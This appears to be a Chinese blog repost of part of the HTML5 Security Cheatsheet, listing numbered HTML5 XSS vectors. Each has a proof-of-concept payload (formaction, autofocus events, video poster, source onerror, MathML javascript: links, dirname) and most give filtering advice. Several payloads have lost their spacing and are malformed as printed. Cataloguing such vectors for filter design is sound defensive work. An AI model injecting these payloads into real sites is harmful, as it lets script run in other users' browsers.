HTML5Ssec.org中文版

来源:互联网 发布:c语言中文网12 编辑:程序博客网 时间:2024/06/06 19:45

HTML5Ssec.org中文版

 

#1 XSS formaction,需要用户交互

poc:

<formid="test"></form><button form="test"formaction="javascript:alert(1)">X</button>

formaction是html5<button》的新属性,它可以覆盖包含<button>的<form>的@action动作。

防护:

不要允许用户提交包含@form和@formaction属性的标签,或者把它们转换成伪造的属性。避免给<form>或@submit<button>赋予@id属性。

 

#7 autofocus属性,来实现自执行

poc:

<input onfocus=write(1)autofocus>

当页面加载时,这个<input>标签会自动获得焦点

防护:

         用户提交的标签不应包含@autofocus属性

 

#8 autofocus属性竞争,来实现自执行

poc:

<inputonblur=write(1) autofocus><input autofocus>

@onblur 事件会在对象失去焦点时发生。

防护:
与#7类似

 

#10 <video>的@poster属性

poc:

<videoposter=javascript:alert(1)//></video>

poster 属性规定视频下载时显示的图像,或者在用户点击播放按钮前显示的图像。如果未设置该属性,则使用视频的第一帧来代替。

 

#12 <body>的@onscrollautofocus实现自执行JS.

poc:

<bodyonscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><inputautofocus>

onscroll是滚动条被滚动事件,当最小面的input要获得焦点,就会自动滚动,造成自执行

 

#23 表单被监控特性:@onformchange,@onforminput 和 @form 属性

poc:

<formid=test onforminput=alert(1)><input></form><button form=testonformchange=alert(2)>X</button>

防护:

         不要允许用户输入@onformchange和@onforminput属性,不要给<form>赋予@id属性

 

#55 <video>和<source>标签

poc:

         <video><sourceonerror="alert(1)">

    <source>是html5的新标签,有很多事件属性,可造成XSS

防护:

    确保<source>标签不能包含事件属性,或者用白名单事件过滤。

 

#72formaction造成XSS,要求交互

poc

<form><button formaction="javascript:alert(1)">X</button>

注意与#1区分,这里的<form>没有@id属性,<button>没有@form属性

防护:

    过滤@form和@formaction属性

 

#86<body> 和 @oninput属性

poc:

         <body oninput=alert(1)><inputautofocus>

    大多数浏览器都支持@oninput事件,它可以作用于<input>、<form>、<body>、<html>标签。

防护:

    不要把oninput加入过滤属性白名单

 

#130 mathML

poc:

<mathhref="javascript:alert(1)">CLICKME</math> <math><!-- up to FF 13 --> <mactionactiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction><!-- FF 14+ --> <maction actiontype="statusline"xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction></math>

FF支持mathML(数学标记语言,是一种基于XML的标准,用来在互联网上书写数学符号和公式的置标语言。),其@href支持JS执行,同样@xlink也支持JS执行,可造成XSS。

防护:

    过滤MathML的内容

 

#136 @dirname覆盖请求的数据

poc

<formaction="" method="post"> <inputname="username" value="admin" /> <inputname="password" type="password" value="secret"/> <input name="injected" value="injected"dirname="password" /> <input type="submit"></form>

dirname属性是表示输入方向的,可被用于注入,导致覆盖用户的真实信息

防护:

过滤@dirname属性

 

 

 

0 0
原创粉丝点击